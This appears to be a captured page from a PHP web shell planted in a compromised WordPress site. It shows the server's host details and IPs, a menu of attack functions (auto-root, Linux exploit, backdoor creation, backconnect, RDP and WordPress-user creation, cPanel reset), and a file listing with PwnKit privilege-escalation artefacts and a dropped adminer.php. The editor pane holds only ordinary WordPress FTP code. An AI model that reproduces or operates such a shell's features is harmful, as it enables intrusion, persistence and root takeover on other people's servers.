Linux node5458.myfcloud.com 6.10.2-x86_64-linode165 #1 SMP PREEMPT_DYNAMIC Tue Jul 30 15:03:21 EDT 2024 x86_64
Apache
: 45.79.123.194 | : 18.216.16.44
16 Domain
7.4.33
addify5
shells.trxsecurity.org
Terminal
AUTO ROOT
Adminer
Backdoor Destroyer
Linux Exploit
Lock Shell
Lock File
Create User
CREATE RDP
PHP Mailer
BACKCONNECT
UNLOCK SHELL
HASH IDENTIFIER
Backdoor Scanner
Backdoor Create
Alfa Webshell
CPANEL RESET
CREATE WP USER
README
+ Create Folder
+ Create File
/
home /
addify5 /
public_html /
wp-admin /
includes /
[ HOME SHELL ]
Name
Size
Permission
Action
.pkexec
[ DIR ]
drwxr-xr-x
GCONV_PATH=.
[ DIR ]
drwxr-xr-x
.htaccess
420
B
-rw-r--r--
.mad-root
0
B
-rw-r--r--
admin-filters.php
6.38
KB
-rwxr-xr-x
admin.php
3.56
KB
-rwxr-xr-x
adminer.php
465.43
KB
-rw-r--r--
ajax-actions.php
137.69
KB
-rwxr-xr-x
bookmark.php
9.29
KB
-rwxr-xr-x
class-automatic-upgrader-skin....
3.09
KB
-rwxr-xr-x
class-bulk-plugin-upgrader-ski...
2.02
KB
-rwxr-xr-x
class-bulk-theme-upgrader-skin...
2.06
KB
-rwxr-xr-x
class-bulk-upgrader-skin.php
5.18
KB
-rwxr-xr-x
class-core-upgrader.php
14.12
KB
-rwxr-xr-x
class-custom-background.php
20.29
KB
-rwxr-xr-x
class-custom-image-header.php
46.77
KB
-rwxr-xr-x
class-file-upload-upgrader.php
4.08
KB
-rwxr-xr-x
class-ftp-pure.php
5.27
KB
-rwxr-xr-x
class-ftp-sockets.php
8.25
KB
-rwxr-xr-x
class-ftp.php
26.49
KB
-rwxr-xr-x
class-language-pack-upgrader-s...
2.33
KB
-rwxr-xr-x
class-language-pack-upgrader.p...
14.39
KB
-rwxr-xr-x
class-pclzip.php
191.44
KB
-rwxr-xr-x
class-plugin-installer-skin.ph...
4.51
KB
-rwxr-xr-x
class-plugin-upgrader-skin.php
2.67
KB
-rwxr-xr-x
class-plugin-upgrader.php
14.83
KB
-rwxr-xr-x
class-theme-installer-skin.php
4.28
KB
-rwxr-xr-x
class-theme-upgrader-skin.php
3.62
KB
-rwxr-xr-x
class-theme-upgrader.php
19.84
KB
-rwxr-xr-x
class-walker-category-checklis...
4.16
KB
-rwxr-xr-x
class-walker-nav-menu-checklis...
4.98
KB
-rwxr-xr-x
class-walker-nav-menu-edit.php
11.48
KB
-rwxr-xr-x
class-wp-ajax-upgrader-skin.ph...
3.18
KB
-rwxr-xr-x
class-wp-automatic-updater.php
35.32
KB
-rwxr-xr-x
class-wp-comments-list-table.p...
27.79
KB
-rwxr-xr-x
class-wp-community-events.php
15.57
KB
-rwxr-xr-x
class-wp-debug-data.php
46.75
KB
-rwxr-xr-x
class-wp-filesystem-base.php
22.56
KB
-rwxr-xr-x
class-wp-filesystem-direct.php
16.05
KB
-rwxr-xr-x
class-wp-filesystem-ftpext.php
19.5
KB
-rwxr-xr-x
class-wp-filesystem-ftpsockets...
16.36
KB
-rwxr-xr-x
class-wp-filesystem-ssh2.php
21.56
KB
-rwxr-xr-x
class-wp-importer.php
7.36
KB
-rwxr-xr-x
class-wp-internal-pointers.php
4.43
KB
-rwxr-xr-x
class-wp-links-list-table.php
7.64
KB
-rwxr-xr-x
class-wp-list-table-compat.php
1.05
KB
-rwxr-xr-x
class-wp-list-table.php
38.02
KB
-rwxr-xr-x
class-wp-media-list-table.php
22.33
KB
-rwxr-xr-x
class-wp-ms-sites-list-table.p...
19.77
KB
-rwxr-xr-x
class-wp-ms-themes-list-table....
20.57
KB
-rwxr-xr-x
class-wp-ms-users-list-table.p...
13.63
KB
-rwxr-xr-x
class-wp-plugin-install-list-t...
22.63
KB
-rwxr-xr-x
class-wp-plugins-list-table.ph...
35.14
KB
-rwxr-xr-x
class-wp-post-comments-list-ta...
1.44
KB
-rwxr-xr-x
class-wp-posts-list-table.php
55.76
KB
-rwxr-xr-x
class-wp-privacy-data-export-r...
4.46
KB
-rwxr-xr-x
class-wp-privacy-data-removal-...
4.62
KB
-rwxr-xr-x
class-wp-privacy-policy-conten...
32.36
KB
-rwxr-xr-x
class-wp-privacy-requests-tabl...
11.02
KB
-rwxr-xr-x
class-wp-screen.php
34.92
KB
-rwxr-xr-x
class-wp-site-health-auto-upda...
13.2
KB
-rwxr-xr-x
class-wp-site-health.php
66.54
KB
-rwxr-xr-x
class-wp-site-icon.php
5.99
KB
-rwxr-xr-x
class-wp-terms-list-table.php
18.24
KB
-rwxr-xr-x
class-wp-theme-install-list-ta...
15.01
KB
-rwxr-xr-x
class-wp-themes-list-table.php
9.93
KB
-rwxr-xr-x
class-wp-upgrader-skin.php
5.04
KB
-rwxr-xr-x
class-wp-upgrader-skins.php
1.44
KB
-rwxr-xr-x
class-wp-upgrader.php
34.83
KB
-rwxr-xr-x
class-wp-users-list-table.php
17.33
KB
-rwxr-xr-x
comment.php
5.93
KB
-rwxr-xr-x
continents-cities.php
20.26
KB
-rwxr-xr-x
credits.php
5.42
KB
-rwxr-xr-x
dashboard.php
59.81
KB
-rwxr-xr-x
deprecated.php
39.64
KB
-rwxr-xr-x
edit-tag-messages.php
1.4
KB
-rwxr-xr-x
error_log
98.53
KB
-rw-r--r--
export.php
23.06
KB
-rwxr-xr-x
file.php
77.85
KB
-rwxr-xr-x
image-edit.php
34.35
KB
-rwxr-xr-x
image.php
33.35
KB
-rwxr-xr-x
import.php
6.54
KB
-rwxr-xr-x
list-table.php
3.11
KB
-rwxr-xr-x
media.php
110.53
KB
-rwxr-xr-x
menu.php
8.93
KB
-rwxr-xr-x
meta-boxes.php
61.09
KB
-rwxr-xr-x
misc.php
42.01
KB
-rwxr-xr-x
ms-admin-filters.php
1.34
KB
-rwxr-xr-x
ms-deprecated.php
2.96
KB
-rwxr-xr-x
ms.php
32.9
KB
-rwxr-xr-x
nav-menu.php
45.01
KB
-rwxr-xr-x
network.php
23.84
KB
-rwxr-xr-x
noop.php
1.06
KB
-rwxr-xr-x
options.php
4.01
KB
-rwxr-xr-x
plugin-install.php
33.64
KB
-rwxr-xr-x
plugin.php
81.22
KB
-rwxr-xr-x
post.php
73.05
KB
-rwxr-xr-x
privacy-tools.php
27.13
KB
-rwxr-xr-x
pwnkit
10.99
KB
-rwxr-xr-x
revision.php
15.6
KB
-rwxr-xr-x
schema.php
40.79
KB
-rwxr-xr-x
screen.php
6.1
KB
-rwxr-xr-x
taxonomy.php
7.77
KB
-rwxr-xr-x
template.php
88.38
KB
-rwxr-xr-x
theme-install.php
6.41
KB
-rwxr-xr-x
theme.php
33.44
KB
-rwxr-xr-x
translation-install.php
8.49
KB
-rwxr-xr-x
update-core.php
57.75
KB
-rwxr-xr-x
update.php
27.89
KB
-rwxr-xr-x
upgrade.php
101.8
KB
-rwxr-xr-x
user.php
17.78
KB
-rwxr-xr-x
widgets.php
10.54
KB
-rwxr-xr-x
Delete
Unzip
Zip
${this.title}
Close
Code Editor : class-wp-filesystem-ftpsockets.php
<?php /** * WordPress FTP Sockets Filesystem. * * @package WordPress * @subpackage Filesystem */ /** * WordPress Filesystem Class for implementing FTP Sockets. * * @since 2.5.0 * * @see WP_Filesystem_Base */ class WP_Filesystem_ftpsockets extends WP_Filesystem_Base { /** * @since 2.5.0 * @var ftp */ public $ftp; /** * Constructor. * * @since 2.5.0 * * @param array $opt */ public function __construct( $opt = '' ) { $this->method = 'ftpsockets'; $this->errors = new WP_Error(); // Check if possible to use ftp functions. if ( ! include_once( ABSPATH . 'wp-admin/includes/class-ftp.php' ) ) { return; } $this->ftp = new ftp(); if ( empty( $opt['port'] ) ) { $this->options['port'] = 21; } else { $this->options['port'] = (int) $opt['port']; } if ( empty( $opt['hostname'] ) ) { $this->errors->add( 'empty_hostname', __( 'FTP hostname is required' ) ); } else { $this->options['hostname'] = $opt['hostname']; } // Check if the options provided are OK. if ( empty( $opt['username'] ) ) { $this->errors->add( 'empty_username', __( 'FTP username is required' ) ); } else { $this->options['username'] = $opt['username']; } if ( empty( $opt['password'] ) ) { $this->errors->add( 'empty_password', __( 'FTP password is required' ) ); } else { $this->options['password'] = $opt['password']; } } /** * Connects filesystem. * * @since 2.5.0 * * @return bool True on success, false on failure. */ public function connect() { if ( ! $this->ftp ) { return false; } $this->ftp->setTimeout( FS_CONNECT_TIMEOUT ); if ( ! $this->ftp->SetServer( $this->options['hostname'], $this->options['port'] ) ) { $this->errors->add( 'connect', sprintf( /* translators: %s: hostname:port */ __( 'Failed to connect to FTP Server %s' ), $this->options['hostname'] . ':' . $this->options['port'] ) ); return false; } if ( ! $this->ftp->connect() ) { $this->errors->add( 'connect', sprintf( /* translators: %s: hostname:port */ __( 'Failed to connect to FTP Server %s' ), $this->options['hostname'] . ':' . $this->options['port'] ) ); return false; } if ( ! $this->ftp->login( $this->options['username'], $this->options['password'] ) ) { $this->errors->add( 'auth', sprintf( /* translators: %s: Username. */ __( 'Username/Password incorrect for %s' ), $this->options['username'] ) ); return false; } $this->ftp->SetType( FTP_BINARY ); $this->ftp->Passive( true ); $this->ftp->setTimeout( FS_TIMEOUT ); return true; } /** * Reads entire file into a string. * * @since 2.5.0 * * @param string $file Name of the file to read. * @return string|false Read data on success, false if no temporary file could be opened, * or if the file couldn't be retrieved. */ public function get_contents( $file ) { if ( ! $this->exists( $file ) ) { return false; } $temp = wp_tempnam( $file ); $temphandle = fopen( $temp, 'w+' ); if ( ! $temphandle ) { unlink( $temp ); return false; } mbstring_binary_safe_encoding(); if ( ! $this->ftp->fget( $temphandle, $file ) ) { fclose( $temphandle ); unlink( $temp ); reset_mbstring_encoding(); return ''; // Blank document, File does exist, It's just blank. } reset_mbstring_encoding(); fseek( $temphandle, 0 ); // Skip back to the start of the file being written to $contents = ''; while ( ! feof( $temphandle ) ) { $contents .= fread( $temphandle, 8 * KB_IN_BYTES ); } fclose( $temphandle ); unlink( $temp ); return $contents; } /** * Reads entire file into an array. * * @since 2.5.0 * * @param string $file Path to the file. * @return array|false File contents in an array on success, false on failure. */ public function get_contents_array( $file ) { return explode( "\n", $this->get_contents( $file ) ); } /** * Writes a string to a file. * * @since 2.5.0 * * @param string $file Remote path to the file where to write the data. * @param string $contents The data to write. * @param int|false $mode Optional. The file permissions as octal number, usually 0644. * Default false. * @return bool True on success, false on failure. */ public function put_contents( $file, $contents, $mode = false ) { $temp = wp_tempnam( $file ); $temphandle = @fopen( $temp, 'w+' ); if ( ! $temphandle ) { unlink( $temp ); return false; } // The FTP class uses string functions internally during file download/upload mbstring_binary_safe_encoding(); $bytes_written = fwrite( $temphandle, $contents ); if ( false === $bytes_written || $bytes_written != strlen( $contents ) ) { fclose( $temphandle ); unlink( $temp ); reset_mbstring_encoding(); return false; } fseek( $temphandle, 0 ); // Skip back to the start of the file being written to $ret = $this->ftp->fput( $file, $temphandle ); reset_mbstring_encoding(); fclose( $temphandle ); unlink( $temp ); $this->chmod( $file, $mode ); return $ret; } /** * Gets the current working directory. * * @since 2.5.0 * * @return string|false The current working directory on success, false on failure. */ public function cwd() { $cwd = $this->ftp->pwd(); if ( $cwd ) { $cwd = trailingslashit( $cwd ); } return $cwd; } /** * Changes current directory. * * @since 2.5.0 * * @param string $dir The new current directory. * @return bool True on success, false on failure. */ public function chdir( $dir ) { return $this->ftp->chdir( $dir ); } /** * Changes filesystem permissions. * * @since 2.5.0 * * @param string $file Path to the file. * @param int|false $mode Optional. The permissions as octal number, usually 0644 for files, * 0755 for directories. Default false. * @param bool $recursive Optional. If set to true, changes file group recursively. * Default false. * @return bool True on success, false on failure. */ public function chmod( $file, $mode = false, $recursive = false ) { if ( ! $mode ) { if ( $this->is_file( $file ) ) { $mode = FS_CHMOD_FILE; } elseif ( $this->is_dir( $file ) ) { $mode = FS_CHMOD_DIR; } else { return false; } } // chmod any sub-objects if recursive. if ( $recursive && $this->is_dir( $file ) ) { $filelist = $this->dirlist( $file ); foreach ( (array) $filelist as $filename => $filemeta ) { $this->chmod( $file . '/' . $filename, $mode, $recursive ); } } // chmod the file or directory return $this->ftp->chmod( $file, $mode ); } /** * Gets the file owner. * * @since 2.5.0 * * @param string $file Path to the file. * @return string|false Username of the owner on success, false on failure. */ public function owner( $file ) { $dir = $this->dirlist( $file ); return $dir[ $file ]['owner']; } /** * Gets the permissions of the specified file or filepath in their octal format. * * @since 2.5.0 * * @param string $file Path to the file. * @return string Mode of the file (the last 3 digits). */ public function getchmod( $file ) { $dir = $this->dirlist( $file ); return $dir[ $file ]['permsn']; } /** * Gets the file's group. * * @since 2.5.0 * * @param string $file Path to the file. * @return string|false The group on success, false on failure. */ public function group( $file ) { $dir = $this->dirlist( $file ); return $dir[ $file ]['group']; } /** * Copies a file. * * @since 2.5.0 * * @param string $source Path to the source file. * @param string $destination Path to the destination file. * @param bool $overwrite Optional. Whether to overwrite the destination file if it exists. * Default false. * @param int|false $mode Optional. The permissions as octal number, usually 0644 for files, * 0755 for dirs. Default false. * @return bool True on success, false on failure. */ public function copy( $source, $destination, $overwrite = false, $mode = false ) { if ( ! $overwrite && $this->exists( $destination ) ) { return false; } $content = $this->get_contents( $source ); if ( false === $content ) { return false; } return $this->put_contents( $destination, $content, $mode ); } /** * Moves a file. * * @since 2.5.0 * * @param string $source Path to the source file. * @param string $destination Path to the destination file. * @param bool $overwrite Optional. Whether to overwrite the destination file if it exists. * Default false. * @return bool True on success, false on failure. */ public function move( $source, $destination, $overwrite = false ) { return $this->ftp->rename( $source, $destination ); } /** * Deletes a file or directory. * * @since 2.5.0 * * @param string $file Path to the file or directory. * @param bool $recursive Optional. If set to true, changes file group recursively. * Default false. * @param string|false $type Type of resource. 'f' for file, 'd' for directory. * Default false. * @return bool True on success, false on failure. */ public function delete( $file, $recursive = false, $type = false ) { if ( empty( $file ) ) { return false; } if ( 'f' == $type || $this->is_file( $file ) ) { return $this->ftp->delete( $file ); } if ( ! $recursive ) { return $this->ftp->rmdir( $file ); } return $this->ftp->mdel( $file ); } /** * Checks if a file or directory exists. * * @since 2.5.0 * * @param string $file Path to file or directory. * @return bool Whether $file exists or not. */ public function exists( $file ) { $list = $this->ftp->nlist( $file ); if ( empty( $list ) && $this->is_dir( $file ) ) { return true; // File is an empty directory. } return ! empty( $list ); //empty list = no file, so invert. // Return $this->ftp->is_exists($file); has issues with ABOR+426 responses on the ncFTPd server. } /** * Checks if resource is a file. * * @since 2.5.0 * * @param string $file File path. * @return bool Whether $file is a file. */ public function is_file( $file ) { if ( $this->is_dir( $file ) ) { return false; } if ( $this->exists( $file ) ) { return true; } return false; } /** * Checks if resource is a directory. * * @since 2.5.0 * * @param string $path Directory path. * @return bool Whether $path is a directory. */ public function is_dir( $path ) { $cwd = $this->cwd(); if ( $this->chdir( $path ) ) { $this->chdir( $cwd ); return true; } return false; } /** * Checks if a file is readable. * * @since 2.5.0 * * @param string $file Path to file. * @return bool Whether $file is readable. */ public function is_readable( $file ) { return true; } /** * Checks if a file or directory is writable. * * @since 2.5.0 * * @param string $file Path to file or directory. * @return bool Whether $file is writable. */ public function is_writable( $file ) { return true; } /** * Gets the file's last access time. * * @since 2.5.0 * * @param string $file Path to file. * @return int|false Unix timestamp representing last access time, false on failure. */ public function atime( $file ) { return false; } /** * Gets the file modification time. * * @since 2.5.0 * * @param string $file Path to file. * @return int|false Unix timestamp representing modification time, false on failure. */ public function mtime( $file ) { return $this->ftp->mdtm( $file ); } /** * Gets the file size (in bytes). * * @since 2.5.0 * * @param string $file Path to file. * @return int|false Size of the file in bytes on success, false on failure. */ public function size( $file ) { return $this->ftp->filesize( $file ); } /** * Sets the access and modification times of a file. * * Note: If $file doesn't exist, it will be created. * * @since 2.5.0 * * @param string $file Path to file. * @param int $time Optional. Modified time to set for file. * Default 0. * @param int $atime Optional. Access time to set for file. * Default 0. * @return bool True on success, false on failure. */ public function touch( $file, $time = 0, $atime = 0 ) { return false; } /** * Creates a directory. * * @since 2.5.0 * * @param string $path Path for new directory. * @param int|false $chmod Optional. The permissions as octal number (or false to skip chmod). * Default false. * @param string|int $chown Optional. A user name or number (or false to skip chown). * Default false. * @param string|int $chgrp Optional. A group name or number (or false to skip chgrp). * Default false. * @return bool True on success, false on failure. */ public function mkdir( $path, $chmod = false, $chown = false, $chgrp = false ) { $path = untrailingslashit( $path ); if ( empty( $path ) ) { return false; } if ( ! $this->ftp->mkdir( $path ) ) { return false; } if ( ! $chmod ) { $chmod = FS_CHMOD_DIR; } $this->chmod( $path, $chmod ); return true; } /** * Deletes a directory. * * @since 2.5.0 * * @param string $path Path to directory. * @param bool $recursive Optional. Whether to recursively remove files/directories. * Default false. * @return bool True on success, false on failure. */ public function rmdir( $path, $recursive = false ) { return $this->delete( $path, $recursive ); } /** * Gets details for files in a directory or a specific file. * * @since 2.5.0 * * @param string $path Path to directory or file. * @param bool $include_hidden Optional. Whether to include details of hidden ("." prefixed) files. * Default true. * @param bool $recursive Optional. Whether to recursively include file details in nested directories. * Default false. * @return array|false { * Array of files. False if unable to list directory contents. * * @type string $name Name of the file or directory. * @type string $perms *nix representation of permissions. * @type int $permsn Octal representation of permissions. * @type string $owner Owner name or ID. * @type int $size Size of file in bytes. * @type int $lastmodunix Last modified unix timestamp. * @type mixed $lastmod Last modified month (3 letter) and day (without leading 0). * @type int $time Last modified time. * @type string $type Type of resource. 'f' for file, 'd' for directory. * @type mixed $files If a directory and $recursive is true, contains another array of files. * } */ public function dirlist( $path = '.', $include_hidden = true, $recursive = false ) { if ( $this->is_file( $path ) ) { $limit_file = basename( $path ); $path = dirname( $path ) . '/'; } else { $limit_file = false; } mbstring_binary_safe_encoding(); $list = $this->ftp->dirlist( $path ); if ( empty( $list ) && ! $this->exists( $path ) ) { reset_mbstring_encoding(); return false; } $ret = array(); foreach ( $list as $struc ) { if ( '.' == $struc['name'] || '..' == $struc['name'] ) { continue; } if ( ! $include_hidden && '.' == $struc['name'][0] ) { continue; } if ( $limit_file && $struc['name'] != $limit_file ) { continue; } if ( 'd' == $struc['type'] ) { if ( $recursive ) { $struc['files'] = $this->dirlist( $path . '/' . $struc['name'], $include_hidden, $recursive ); } else { $struc['files'] = array(); } } // Replace symlinks formatted as "source -> target" with just the source name if ( $struc['islink'] ) { $struc['name'] = preg_replace( '/(\s*->\s*.*)$/', '', $struc['name'] ); } // Add the Octal representation of the file permissions $struc['permsn'] = $this->getnumchmodfromh( $struc['perms'] ); $ret[ $struc['name'] ] = $struc; } reset_mbstring_encoding(); return $ret; } /** * Destructor. * * @since 2.5.0 */ public function __destruct() { $this->ftp->quit(); } }
Close